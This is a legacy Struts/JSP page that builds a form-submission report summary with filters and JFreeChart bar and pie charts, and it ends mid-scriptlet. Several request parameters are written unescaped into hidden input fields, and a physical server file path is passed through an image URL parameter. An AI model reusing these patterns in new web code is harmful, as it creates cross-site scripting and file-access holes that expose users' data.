<%
/*
 * @(#)EditFormReportSummary.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditFormReportSummary.jsp

  This class is reflecting business logic uses.
  

    @author           Scott Tong
    @company          DCIVision Limited
    @creation date    05/01/2004
    @version          $Revision: 1.70.2.19 $
*/
%>
<%@ page contentType="text/html;charset=UTF-8" %>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="java.awt.Color"%>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.form.bean.*"%>
<%@ page import="com.dcivision.form.core.*"%>
<%@ page import="com.dcivision.form.dao.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>

<%@ page import="org.jfree.chart.servlet.ServletUtilities,
     org.jfree.chart.JFreeChart,
     org.jfree.chart.ChartFactory,
     org.jfree.chart.plot.PlotOrientation,
     org.jfree.chart.plot.CategoryPlot,
     org.jfree.chart.plot.PiePlot,
     org.jfree.data.category.CategoryDataset,
     org.jfree.data.general.DatasetUtilities,
     org.jfree.chart.renderer.category.BarRenderer,
         org.jfree.data.category.DefaultCategoryDataset,
     org.jfree.data.general.DefaultPieDataset,
         org.jfree.chart.axis.CategoryAxis,
      org.jfree.chart.LegendItem,
      org.jfree.chart.LegendItemCollection,
         org.jfree.chart.axis.CategoryAxis,
         org.jfree.chart.axis.ValueAxis,
         org.jfree.chart.axis.NumberAxis,
         org.jfree.chart.axis.TickUnits,
         org.jfree.chart.axis.AxisLocation"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintFormSubmissionForm" scope="request" class="com.dcivision.form.web.MaintFormSubmissionForm"/>
<%
  String[][] SEARCH_MAP = { {"form.label.submission_status_M", FormSubmission.FORM_SUBMISSION_STATU_SUBMIT},
                            {"form.label.submission_status_C", FormSubmission.FORM_SUBMISSION_STATU_COMPLETED}
                          };
  String LIST_NAME = "formPageList";
  String reportType = request.getParameter("reportType");
  String generalReport = "GENERALREPORT";
  boolean hasSelectionOption = false;
  Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  String fromDate = "";
  String toDate = "";
  String fromDateString = fromDate;
  String toDateString = toDate;
  String searchSubmitter ="";
  String searchStatus="";

  String formRecordID = request.getParameter("formRecordID");
  String formSubmissionID = request.getParameter("formSubmissionID");
  if ("null".equals(formSubmissionID)) {
    formSubmissionID = "";
  }
  java.text.SimpleDateFormat format = new java.text.SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
  if (!"null".equals(request.getParameter("fromDate"))&& !Utility.isEmpty(request.getParameter("fromDate")) ) {
    fromDate = request.getParameter("fromDate");
    fromDateString = TextUtility.formatDate(format.parse(fromDate),"dd-MM-yyyy");
  }
  if (!"null".equals(request.getParameter("toDate")) && !Utility.isEmpty(request.getParameter("toDate"))) {
    toDate = request.getParameter("toDate");
    toDateString = TextUtility.formatDate(format.parse(toDate),"dd-MM-yyyy");
  }

  if(!Utility.isEmpty(request.getParameter("formRecordID"))){
     maintFormSubmissionForm.setFormRecordID(request.getParameter("formRecordID"));
  }

  if(!Utility.isEmpty(request.getParameter("searchSubmitter"))){
    searchSubmitter = request.getParameter("searchSubmitter");
  }
  if(!Utility.isEmpty(request.getParameter("searchStatus"))){
    searchStatus = request.getParameter("searchStatus");
  }

  int pageListSize =0;
  List formPageList = (List)request.getAttribute("formPageListName");
  if (request.getAttribute("formPageListName")!=null) {
    pageListSize = formPageList.size();
  }

  FormRecordDAObject formRecordDAO =  new FormRecordDAObject(sessionContainer, conn);
  List searchElmentList = formRecordDAO.getSearchElementListByFormRecordID(new Integer(request.getParameter("formRecordID")));
  FormRecord formRecord = (FormRecord)request.getAttribute("formRecord");

%>

<html:form action="form/ListFormReportSummary" method="POST" styleClass="form-style-2">
<html:javascript formName="maintFormSubmissionForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

   String FIELD_HEADER = "FB_FIELD_";

   String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);

   FormPage formPage = (FormPage) request.getAttribute(LIST_NAME);

   String sPreviewValue = (String)request.getAttribute("preview");

   String sCurFunctionCode = SystemFunctionConstant.FORM_SUBMISSION;

   String functionType = "";
   if(sPreviewValue != null)
     functionType="common.label.form_action_preview";
   else
     functionType="common.label.form_action_new";

  Integer pageID = new Integer(1);
  Integer sectionID = new Integer(1);

  int formPageNo = 0;
  if(!Utility.isEmpty(request.getParameter("formPageNo")) && !"null".equals(request.getParameter("formPageNo"))){
    formPageNo = Integer.parseInt(request.getParameter("formPageNo"));
  }

  FormPage tempelateFormPage = (FormPage)formPageList.get(formPageNo);
  pageID = tempelateFormPage.getID();

  String returnURL = "ListFormReport.do?formGroupID="+session.getAttribute("formGroupID");
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/%>
<script language="JavaScript">
<!--
function OpCustSearch() {
  //Bill add for EIP-1705 start
  var frm=document.maintFormSubmissionForm;
  if (frm.fromDate.value!=''&& frm.toDate.value!='') {
    if (compareDate(frm.fromDate, frm.toDate, true) > 0) {
      alert("<bean:message key='errors.form.form_time_can_not_be_greater_than_to_time'/>");
      return false;
    }
  }
  //Bill add for EIP-1705 end
  document.maintFormSubmissionForm.operationType.value="";
  document.maintFormSubmissionForm.submit();
  return (false);
}

function OpCustReset(){
  document.maintFormSubmissionForm.dummy_fromDate.value="";
  document.maintFormSubmissionForm.fromDate.value="";
  document.maintFormSubmissionForm.dummy_toDate.value="";
  document.maintFormSubmissionForm.toDate.value="";
  document.maintFormSubmissionForm.basicSearchField.value="";
  document.maintFormSubmissionForm.basicSearchType.value="";
  document.maintFormSubmissionForm.basicSearchKeyword.value="";
  document.maintFormSubmissionForm.searchSubmitter.value="";
  document.maintFormSubmissionForm.dummy_searchSubmitter.value="";
  document.maintFormSubmissionForm.searchStatus.value="";
  document.maintFormSubmissionForm.operationType.value="";
  if (document.maintFormSubmissionForm.formPageNo){
      document.maintFormSubmissionForm.formPageNo.value="0";
  }
  document.maintFormSubmissionForm.submit();
  return (false);
}

function OpCustGoPage(url) {
  document.maintFormSubmissionForm.operationType.value="";
  document.maintFormSubmissionForm.action=url;
  document.maintFormSubmissionForm.submit();
  return (false);
}

function OpCustExportExcel(){
  document.maintFormSubmissionForm.operationType.value="<%=FormRecord.EXPORT_EXCEL_FILE%>";
  document.maintFormSubmissionForm.submit();
  return (false);
}

function popupDetail(elementName,elementValue){
  document.maintFormSubmissionForm.selectValue.value=elementValue;
  document.maintFormSubmissionForm.selectName.value=elementName;
  window.open('../jsp/form/ListFormReportSummaryDetail.jsp', 'DCIVisionForm', 'location=no, scrollbars=yes, menubar=no, status=no, resizable=1, width=800, height=600, left=80, top=80');
}
function getSelectValue(){
  var selectValue=document.maintFormSubmissionForm.selectValue.value;
  return selectValue;
}
function getSelectName(){
  var selectName=document.maintFormSubmissionForm.selectName.value;
  return selectName;
}
-->
</script>
<style>
 .
</style>
<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<input type="hidden" name="formRecordID" value='<%=request.getParameter("formRecordID")%>'>
<input type="hidden" name="reportType" value='<%=request.getParameter("reportType")%>'/>
<input type="hidden" name="isViewDatePicker" value="true"/>
<input type="hidden" name="formSubmissionID" value='<%=request.getParameter("formSubmissionID")%>'/>
<input type="hidden" name="selectValue" />
<input type="hidden" name="selectName" />
<input type="hidden" name="operationType" />


<!-- Page Title Section -->
<%--
<layout:titleFormat>
<font class="pageTitle"><layout:pageTitle/> [<%=formRecord.getGroupName()%> - <%=formRecord.getTitle()%>]</font>
<layout:returnButton>ListFormReport.do?formGroupID=<%=session.getAttribute("formGroupID")%></layout:returnButton>
</font>
</layout:titleFormat>--%>
<layout:listBar>
    <div class="button">
  <layout:returnButton className="btn-colheader" returnURL="<%=returnURL%>"/>
    </div>
  <layout:filterControl/>
  </layout:listBar>

<!-- search pannel start-->
<div id="filterPanel" class="filterPanel">
 <div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
 <div>
 <table>
  <tr>
  <td nowrap onkeypress="if(event.keyCode==13)OpCustSearch();">
      <html:select property="basicSearchField" onkeypress="onKeyPressHandler(event);">
      <option value=""><bean:message key='common.options.select_menu.select_one'/></option>
      <%
      for (int i=0; i<searchElmentList.size(); i++) {
        FormElement tmpFormElement = new FormElement();
        tmpFormElement = (FormElement)searchElmentList.get(i);
        String selected = "";
        if(tmpFormElement.getID().toString().equals(maintFormSubmissionForm.getBasicSearchField())) {
          selected = "selected";
        }
      %>
      <option value="<%=tmpFormElement.getID()%>" <%=selected%>><%=tmpFormElement.getFieldName()%></option>
      <%}%>
      </html:select>
  </td>
  <td class="filterPanelItem" nowrap >
      <html:select property='basicSearchType' onkeypress="onKeyPressHandler(event);">
        <html:options listName='criteriaList'/>
      </html:select>
  </td>
  <td class="filterPanelItem" nowrap >
      <html:text property='basicSearchKeyword' size='25' maxlength='100' onkeypress="onKeyPressHandler(event);"/>
  </td>
  <td>&nbsp;</td>
   </tr>
   <tr>
   <td class="filterPanelItem" nowrap >
   <bean:message key='workflow.search.submitter'/>:
   </td>
   <td class="filterPanelLongItem" nowrap >
   <html:userpicker property='searchSubmitter' onkeypress="onKeyPressHandler(event);"/>
   </td>
   <td class="filterPanelItem" nowrap onkeypress="if(event.keyCode==13)OpCustSearch();">
     <bean:message key='form.columnheader.status'/>:
    </td>
  <td class="filterPanelItem" nowrap >
     <html:select property="searchStatus" onkeypress="onKeyPressHandler(event);">
       <html:options stringArray='<%=SEARCH_MAP%>'/>
     </html:select>
  </td>
  </tr>
  <tr>
     <td class="filterPanelItem" nowrap >
   <bean:message key='form.search.submit_date'/>:
   <bean:message key='common.label.period_from'/>:
   </td>
   <td class="filterPanelItem" nowrap >
   <html:datepicker property='fromDate'/>
   </td>
   <td class="filterPanelItem" nowrap >
     <bean:message key='common.label.period_to'/>:
   </td>
   <td class="filterPanelItem" nowrap >
     <html:datepicker property='toDate'/>
    </td>
  </tr>
</table>
</div>
    <div class="buttonContainer">
      <html:standardButton supportEnterKey="true" label="common.label.apply_filter" onClick="return OpCustSearch()"/>
      <html:standardButton label="common.label.remove_filter" onClick="return(OpCustReset())"/>
    </div>
    <br style="clear:both" />
</div>


<%
  //check the record count by the forRecordID & date range
  FormSubmissionDAObject formSubmissionDAO = new FormSubmissionDAObject(sessionContainer,conn);
  int totalNumOfRecord = 0;

  try {
    totalNumOfRecord = formSubmissionDAO.getFormSubmissionCountBySubmittedDateRange(request.getParameter("formRecordID"),maintFormSubmissionForm);
  } catch (ApplicationException ae) {
    org.apache.commons.logging.LogFactory.getLog("FormSubmissionDAO").error("getFormSubmissionCountBySubmittedDateRang error");
  }%>

<!-- Basic Tab DIV -->
<div id="basicTab" class="tabContent">
<%	if (totalNumOfRecord >0 ) {%>
<!-- Search Panel End -->
<table width="100%" class="tabContainerReportSummary">
  <tr>
    <td colspan="2">
    <table width="100%" border="0" cellspacing="0" cellpadding="0">
      <layout:sectionHeader blackLine="false"/>
    </table>
    </td>
  </tr>
  <!--//@@ snapshot -->
  <tr>
    <td colspan="2"><html:img src="Spacer.gif"  height="20" width="1"/></td>
  </tr>
  <tr>
    <td colspan="2">
<!-- ************************************** Start of Form Border *********************************** -->
    <table border=0 cellspacing="0" cellpadding="0" width="100%">
      <tr align="left">
        <td valign="top" width="100%">
<!-- ************************************** Start of Form Content ********************************** -->
          <table width="100%" border="0">
            <tr>
              <td valign="top" align="right"><bean:message key='form.label.page'/><%=formPageNo+1%></td>
            </tr>
            <tr>
              <td valign="top" align="<%
              if ("C".equals(formPage.gettitlePosition()))
              out.print("center");
              if ("L".equals(formPage.gettitlePosition()))
              out.print("left");
              if ("R".equals(formPage.gettitlePosition()))
              out.print("right");
              %>">
            <font style='<%
               String tmpTitleFontStyle="";
               for (int k=0; !Utility.isEmpty(formPage.getTitleFontStyle()) && k < formPage.getTitleFontStyle().length(); k++) {
          if ("B".equals(formPage.getTitleFontStyle().substring(k,k+1))) {
            tmpTitleFontStyle += "font-weight: bold;";
          } else if ("U".equals(formPage.getTitleFontStyle().substring(k,k+1))) {
            tmpTitleFontStyle += "text-decoration: underline;";
          } else if ("I".equals(formPage.getTitleFontStyle().substring(k,k+1))) {
            tmpTitleFontStyle += "font-style: italic;";
          }
        }
        out.print(tmpTitleFontStyle);
                     out.print(tmpTitleFontStyle);
              if (!Utility.isEmpty(formPage.getTitleFontSize()) && (formPage.getTitleFontSize().intValue() > 0)){
              out.print("font-size:"+formPage.getTitleFontSize()+"px;");
           }
              if (!Utility.isEmpty(formPage.getTitleFontType())) {
              out.print("font-family:"+MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "form.label.element_fonts_"+formPage.getTitleFontType())+";");
            }
              %> color:<%=formPage.getTitleFontColor()%>;' >
          <%=formPage.getTitle()%>&nbsp;</td>
            </tr>
            <tr>
              <td align="center">&nbsp;</td>
            </tr>
          </table>
<%
  //get the form section list

  Integer elementID;
  List formSectionList = formPage.getFormSectionList();

  for (int i=0; i<formSectionList.size(); i++) {
    FormSection tmpFormSection = (FormSection) formSectionList.get(i);
    sectionID = tmpFormSection.getID();
%>

         <table width="100%" border="0"><!-- Section table -->
           <tr >
              <td
              align="<%
              if (tmpFormSection.getsectionPosition()!=null){
              if ("C".equals(tmpFormSection.getsectionPosition()))
              out.print("center");
              if ("L".equals(tmpFormSection.getsectionPosition()))
              out.print("left");
              if ("R".equals(tmpFormSection.getsectionPosition()))
              out.print("right");
              }
              %>"><font style='<%
               String tmpFontStyle="";
               if (tmpFormSection.getsectionFontStyle()!=null){
               for (int k=0; !Utility.isEmpty(tmpFormSection.getsectionFontStyle()) && k < tmpFormSection.getsectionFontStyle().length(); k++) {
          if ("B".equals(tmpFormSection.getsectionFontStyle().substring(k,k+1))) {
            tmpFontStyle += "font-weight: bold;";
          } else if ("U".equals(tmpFormSection.getsectionFontStyle().substring(k,k+1))) {
            tmpFontStyle += "text-decoration: underline;";
          } else if ("I".equals(tmpFormSection.getsectionFontStyle().substring(k,k+1))) {
            tmpFontStyle += "font-style: italic;";
          }
        }
       }
   if(TextUtility.parseInteger(tmpFormSection.getsectionFontSize()) >0) {
           out.print("font-size:"+tmpFormSection.getsectionFontSize()+"px;");
         }
         if (!Utility.isEmpty(tmpFormSection.getsectionFontType())) {
           out.print("font-family:"+MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "form.label.element_fonts_"+tmpFormSection.getsectionFontType())+";");
         }
         %>color:<%=tmpFormSection.getsectionFontColor()%>;' ><%=tmpFormSection.getTitle()%></font></td>
           </tr>
           <!--tr>
             <td><font style='font-size: -pt;'><%=tmpFormSection.getTitle()%></font></td>
           </tr-->
           <tr>
             <td align="center" bgcolor="black" height="1px"><html:img src="LayoutSpacer.gif"  height="1" width="400"/></td>
           </tr>
         </table>
         <table width="100%" border="0"><!-- Element table -->

<%
    //get form element list under a form section
    List formElementList = tmpFormSection.getFormElementList();
    for (int j=0; j<formElementList.size(); j++) {

      FormElement tmpFormElement = (FormElement) formElementList.get(j);
      elementID = tmpFormElement.getID();
    //add by greatwall for bug eip-239 don't show report if the formElement is Image.
      if(FormElementType.ELEMENT_IMAGE.equals(tmpFormElement.getElementType()))
      {
        continue;
      }
    //end

      String elementAlign = "left";

      Integer fontSize;
      String fontColor = "";
      String fontStyle = "";
      String labelPosition = "";
      String fontType = "";
      String preFontStyle = "<font style='";
      String nextFontStyle = "";
      MtmFormSectionFormElementDAObject mtmFormSectionFormElementDAO = new MtmFormSectionFormElementDAObject(sessionContainer,conn);
      MtmFormSectionFormElement tmpMtmFormSectionFormElement = (MtmFormSectionFormElement)mtmFormSectionFormElementDAO.getObjectBySectionIDElementID(sectionID,elementID);

      fontSize = tmpFormElement.getFontSize();
      fontColor = tmpFormElement.getFontColor();
      fontStyle = tmpFormElement.getFontStyle();
      fontType = tmpFormElement.getFontType();
      labelPosition = tmpFormElement.getLabelPosition();

      //handel the position
      if (!Utility.isEmpty(labelPosition)) {
        if ("L".equals(labelPosition)) {
          elementAlign = "left";
        } else if ("C".equals(labelPosition)) {
          elementAlign = "center";
        } else if ("R".equals(labelPosition)) {
          elementAlign = "right";
        }
      }
      //handel Font Style
      if (!Utility.isEmpty(fontStyle)) {
        for (int k=0; k < fontStyle.length(); k++) {
          if ("B".equals(fontStyle.substring(k,k+1))) {
            preFontStyle += "font-weight: bold;";
          } else if ("U".equals(fontStyle.substring(k,k+1))) {
            preFontStyle += "text-decoration: underline;";
          } else if ("I".equals(fontStyle.substring(k,k+1))) {
            preFontStyle += "font-style: italic;";
          }
        }
      }

      if (!Utility.isEmpty(fontSize)) {
        preFontStyle += " fontsize:" + fontSize+"px;";
      }
      if (!Utility.isEmpty(fontColor)) {
        preFontStyle += " color:" + fontColor+";";
      }
      if (!Utility.isEmpty(fontType)) {
        preFontStyle += " font-family:" +
          MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(),
            "form.label.element_fonts_"+fontType) +";";
      }
      preFontStyle += "'>";

  //get the element value from Form_Data_Element
   String elementValue = "";
   int iEleValueCount = 0;
  FormDataElementDAObject formDataElementDAO = new FormDataElementDAObject(sessionContainer,conn);

  try {
    elementValue = formDataElementDAO.getAllValuesByPageIDSectionIDElementID(pageID,sectionID,elementID,maintFormSubmissionForm);
    if(Utility.isEmpty(elementValue)) {
      elementValue="   ";
    }else{
      iEleValueCount = elementValue.split("<font color='red'>, </font>").length;
    }
  } catch (ApplicationException ae) {
    org.apache.commons.logging.LogFactory.getLog("FormDataElementDAObject").error("getAllValuesByPageIDSectionIDElementID error");
  }

     FormAttachDAObject      formAttachDAO = new FormAttachDAObject(sessionContainer,conn);
     FormAttach      formAttach=null;

     if (formAttachDAO.getObjectByID(elementID)!=null)
         formAttach = (FormAttach)formAttachDAO.getObjectByID(elementID);
     if (mtmFormSectionFormElementDAO.getObjectByID(elementID)!=null)
         tmpMtmFormSectionFormElement = (MtmFormSectionFormElement) mtmFormSectionFormElementDAO.getObjectByID(elementID);

%>
          <tr>
<%
      //if the form element is a text box

//START TEXT BOX
%>
  <td noswap align="<%=elementAlign%>" width="21%" class="greyD">
<%    if("Y".equals(tmpFormElement.getRequiredFlag())){
                out.write("<font color='red'>*</font>");
            }else{
                out.write("&nbsp;");
            }
//START IS TEXT
      if(FormElementType.isText(tmpFormElement.getElementType()) && !FormElementType.ELEMENT_PASSWORD.equals(tmpFormElement.getElementType())){
     %>
              <%=tmpFormElement.getFieldName()%> </td><td class="greyD">
              <%//=elementValue%>
              <!--a href="#" onclick="overlib('<table cellspacing=\'0\' cellpadding=\'1\' style=\'border-style:outset;border-width:2;background-color:#B5D2EA;\'><tr><td align=\'left\' valign=\'middle\' height=\'18\'><%//=TextUtility.escapeJSString(elementValue)%></td></tr></table>',FULLHTML, TEXTSIZE, 2, WIDTH, 120, OFFSETX, 0, OFFSETY, 0, CENTER, STICKY)" ><%//=iEleValueCount%></a-->
              <a href="#" onclick="javaScript:popupDetail('<%=TextUtility.escapeJSString(tmpFormElement.getFieldName())%>','<%=TextUtility.escapeJSString(elementValue)%>')" >
              <%=iEleValueCount%></a>

<%

      }

//START PASSWORD

      else if(FormElementType.ELEMENT_PASSWORD.equals(tmpFormElement.getElementType())){

%>
              <%=tmpFormElement.getFieldName()%> </td><td class="greyD">

              <%="********************"%>

<%
      }

//END PASSWORD

//START LABEL

      else if(FormElementType.isLabel(tmpFormElement.getElementType())){

%>

               </td><td class="greyD" >

                <%=tmpFormElement.getFieldName()%>

<%
      }
//END LABEL


//START IMAGE
                  else if (FormElementType.ELEMENT_IMAGE.equals(tmpFormElement.getElementType())) {
                  String imageName="";
       String  repath=SystemParameterFactory.getSystemParameter(SystemParameterConstant.FORM_ATTACHMENT_PHYSICAL_PATH);

                  if (formAttach!=null)
                  imageName=formAttach.getFileName();
                  else
                  imageName="";
              %>
              <%
              if (formAttach!=null) {
              %>

              <%=tmpFormElement.getFieldName()%>
              <%
              } %>

              </td><td class='greyD'>
<%
              if (formAttach!=null) {
               if (imageName.indexOf(".")>0) {
%>
              <img src="../jsp/form/IncludeShowImgFile.jsp?imageName=<%=repath+"/"+tmpFormElement.getID()+ imageName.substring(imageName.indexOf("."),imageName.length())%>">     </td>
<%
               }
              }
%>
              <%
              if (tmpFormElement.getLabelPosition()!=null)
              {
              if (tmpFormElement.getLabelPosition().equals("T")){%>
              </td></tr></table>
              <%}
              }%>
<%           }

//END IMAGE

//START FILE BOX
      else if(FormElementType.ELEMENT_FILE.equals(tmpFormElement.getElementType())){

      %>
        <%=tmpFormElement.getFieldName()%> </td><td class="greyD">
              <%//=elementValue%>
              <%//=iEleValueCount%>
              <a href="#" onclick="javaScript:popupDetail('<%=TextUtility.escapeJSString(tmpFormElement.getFieldName())%>','<%=TextUtility.escapeJSString(elementValue)%>')" >
              <%=iEleValueCount%></a>
       <%
      }
//END FILE BOX

      //if the form element is selection type
      else if(FormElementType.isSelection(tmpFormElement.getElementType())){
        hasSelectionOption = true;
        FormSelectionField formSelectionField = tmpFormElement.getFormSelectionField();
        //get the percentage

        elementValue = TextUtility.replaceString(elementValue,"<font color='red'>","");
        elementValue = TextUtility.replaceString(elementValue," </font>","");
        String[] options = TextUtility.splitString(elementValue,",");


%>
              <%=tmpFormElement.getFieldName()%> </td><td class="greyD">
              <%
              if(formSelectionField != null){
                List formSelectionFieldOptionList = formSelectionField.getFormSelectionFieldOptionList();

          //hold the option items and the count
          String[] formSelectionFieldOption = new String[formSelectionFieldOptionList.size()];
          double[] formSelectionFieldOptionCount = new double[formSelectionFieldOptionList.size()];

     for (int k=0; k<formSelectionFieldOptionList.size(); k++) {
            FormSelectionFieldOption tmpFormSelectionFieldOption = (FormSelectionFieldOption) formSelectionFieldOptionList.get(k);

                  //if the form element is a radio box

//START RADIO BOX
         if(FormElementType.ELEMENT_RADIO_BUTTON.equals(tmpFormElement.getElementType())){
              if (generalReport.equals(reportType))
              out.println(tmpFormSelectionFieldOption.getLabel()); %>
              <%
              formSelectionFieldOption[k] = tmpFormSelectionFieldOption.getLabel();
              float count = 0;
              for ( int n = 0; n < options.length; n++) {
            if (options[n].trim().equals(tmpFormSelectionFieldOption.getStartValue().trim())) {
            count ++;
            }
              }
              if (generalReport.equals(reportType) ){
                  out.println("&nbsp;&nbsp;(" + Math.round(count*10000/options.length)/100.0 + "%)&nbsp;&nbsp;");
              }
              formSelectionFieldOptionCount[k] = Math.round(count*10000/options.length)/100.0;

          }
//END RADIO BOX

//START CHECK BOX
          else if(FormElementType.ELEMENT_CHECK_BOX.equals(tmpFormElement.getElementType())){
              if (generalReport.equals(reportType)){
                 out.println(tmpFormSelectionFieldOption.getLabel());
              }
              formSelectionFieldOption[k] = tmpFormSelectionFieldOption.getLabel();

              float count = 0;
              for ( int n = 0; n < options.length; n++) {
          if (options[n].trim().equals(tmpFormSelectionFieldOption.getStartValue().trim())) {
             count ++;

          }
              }

              if (generalReport.equals(reportType) )
            out.println("&nbsp;&nbsp;(" + Math.round(count*10000/options.length)/100.0 + "%)&nbsp;&nbsp;");

              formSelectionFieldOptionCount[k] = Math.round(count*10000/options.length)/100.0;

           }



//END CHECK BOX

                  //if the form element is a selection box

//START SELECTION BOX

          else if(FormElementType.ELEMENT_SELECTION_BOX.equals(tmpFormElement.getElementType())){

              if (generalReport.equals(reportType)){
                out.println(tmpFormSelectionFieldOption.getLabel());
              }
              formSelectionFieldOption[k] = tmpFormSelectionFieldOption.getLabel();

              float count = 0;
              for ( int n = 0; n < options.length; n++) {
           if (options[n].trim().equals(tmpFormSelectionFieldOption.getStartValue().trim())) {
               count ++;
            }
               }
              if (generalReport.equals(reportType) ) {
           out.println("&nbsp;&nbsp;(" + Math.round(count*10000/options.length)/100.0 + "%)&nbsp;&nbsp;");
              }
              formSelectionFieldOptionCount[k] = Math.round(count*10000/options.length)/100.0;

          }
//END SELECTION BOX
    } %>
         <%if ("BARCHART".equals(reportType) && !Utility.isEmpty(formSelectionFieldOption) ){%>
         <%
         //CategoryDataset dataset = DatasetUtilities.createCategoryDataset(formSelectionFieldOption, null, new double[][]{formSelectionFieldOptionCount});

         DefaultCategoryDataset dataset = new DefaultCategoryDataset();
             BarRenderer renderer = new BarRenderer();
             for (int ii = 1; ii < formSelectionFieldOption.length+1; ii++) {
               dataset.addValue(formSelectionFieldOptionCount[ii-1],formSelectionFieldOption[ii-1], "");
               renderer.setSeriesPaint(ii-1, new Color((ii*51)%255, (ii*76)%255, (ii*204)%255));
             }
             JFreeChart chart = ChartFactory.createBarChart(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "form.label.bar_chart"),
                        "",
                        "",
                        dataset,
                        PlotOrientation.VERTICAL,
                        true,
                        false,
                        false);
             //chart.getLegend().setAnchor(2);
           renderer.setItemMargin(0.0001000000000001D);
           renderer.setMaxBarWidth(0.10000000000000001D);
           CategoryPlot plot = chart.getCategoryPlot();
             CategoryAxis domainAxis = plot.getDomainAxis();
             ValueAxis valueAxis = (ValueAxis)plot.getRangeAxis();
             valueAxis.setRange(0.0D, 100D);
             valueAxis.setStandardTickUnits(TickUnits.createIntegerTickUnits());

           plot.setRenderer(renderer);
           LegendItemCollection legendItems = chart.getPlot().getLegendItems();
           LegendItemCollection legendItems2 = new LegendItemCollection();
           for(int iii =0;iii<legendItems.getItemCount();iii++)
           {
             LegendItem li = legendItems.get(iii);
             LegendItem li2 = new LegendItem(li.getLabel().length()>10?li.getLabel().substring(0,10)+"....":li.getLabel(),li.getLabel(),li.getShape(),li.isShapeFilled(),li.getPaint(),li.getStroke(),li.getOutlinePaint(),li.getOutlineStroke());
             legendItems2.add(li2);
           }
           ((CategoryPlot)chart.getPlot()).setFixedLegendItems(legendItems2);

           //plot.setDomainAxisLocation(AxisLocation.TOP_OR_LEFT);
             //plot.setRangeAxisLocation(AxisLocation.TOP_OR_LEFT);

           String filename = ServletUtilities.saveChartAsPNG(chart, formSelectionFieldOption.length*20+300, 300, null, session);
           String graphURL = request.getContextPath() + "/servlet/DisplayChart?filename=" + filename;
%>
            <img src="<%= graphURL %>" width=<%=formSelectionFieldOption.length*20+300%> height=300 border=0 usemap="#<%= filename %>">

      <%} else if ("PIECHART".equals(reportType) && !Utility.isEmpty(formSelectionFieldOption) ) {%>
  <%   DefaultPieDataset dataset = new DefaultPieDataset();
//            JFreeChart chart = ChartFactory.createPieChart(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "form.label.pie_chart"),
             //     dataset,
              //    true,
               //   false,
               //   false);
            //chart.getLegend().setAnchor(2);
          //PiePlot plot = (PiePlot)chart.getPlot();
          ChangeLegendNamePiePlot plot = new ChangeLegendNamePiePlot(dataset);
            for (int jj = 1; jj < formSelectionFieldOptionCount.length+1; jj++){
              dataset.setValue(formSelectionFieldOption[jj-1],formSelectionFieldOptionCount[jj-1]);
              plot.setSectionPaint(jj-1, new Color((jj*51)%255, (jj*76)%255, (jj*204)%255));
            }
            JFreeChart chart = new JFreeChart(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "form.label.pie_chart"),
                    JFreeChart.DEFAULT_TITLE_FONT, plot, true);
          String filename = ServletUtilities.saveChartAsPNG(chart, 300, 300, null, session);
          String graphURL = request.getContextPath() + "/servlet/DisplayChart?filename=" + filename;

%>
         <img src="<%= graphURL %>" width=300 height=300 border=0 usemap="#<%= filename %>">


      <%}%>


<%
              }
%>

<%

      }
%>
      </td>
    </tr>

<%
    }
%>
    </table><br><br>
<%
  }
%>
    </td>
  </tr>
</table>
<%} else {%>
<p></p>
<table width="780" border="0" cellspacing="1" cellpadding="0">
   <tr align="center"><td>
  <bean:message key='errors.framework.record_not_found'/>
   </td></tr>
</table>
<%}%>
  <!-- Section Header -->
  <tr>
    <td colspan="2"><layout:auditTrail/></td>
  </tr>
  <tr>
    <td colspan="2"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
  </tr>
  </table>
</div>

 <div id="bottomButtonArea">
    <div id="buttonSection">
      <%if (hasSelectionOption) { %>
      <html:standardButton label="form.label.bar_chart" link='<%="ListFormReportSummary.do?isViewDatePicker=true&reportType=BARCHART&navMode=L&formRecordID=${param.formRecordID}&formPageNo="+formPageNo+"&fromDate="+fromDate+"&toDate="+toDate+"&formRecordTitle=${param.formRecordTitle}"%>'/>
       <html:standardButton label="form.label.pie_chart" link='<%="ListFormReportSummary.do?isViewDatePicker=true&reportType=PIECHART&navMode=L&formRecordID=${param.formRecordID}&formPageNo="+formPageNo+"&fromDate="+fromDate+"&toDate="+toDate+"&formRecordTitle=${param.formRecordTitle}"%>'/>
      <%}%>
      <%if (totalNumOfRecord>0){%>
      <html:standardButton label="dms.message.document_excel_export_mode" onClick="return OpCustExportExcel()"/>
        <%}%>
     </div>
 </div>

<div class="listStatusBar">
<%if (totalNumOfRecord >0 ) {%>

          <%// formPageNo is formPageList SeqNO, not formPage.getPageNo %>
          <%
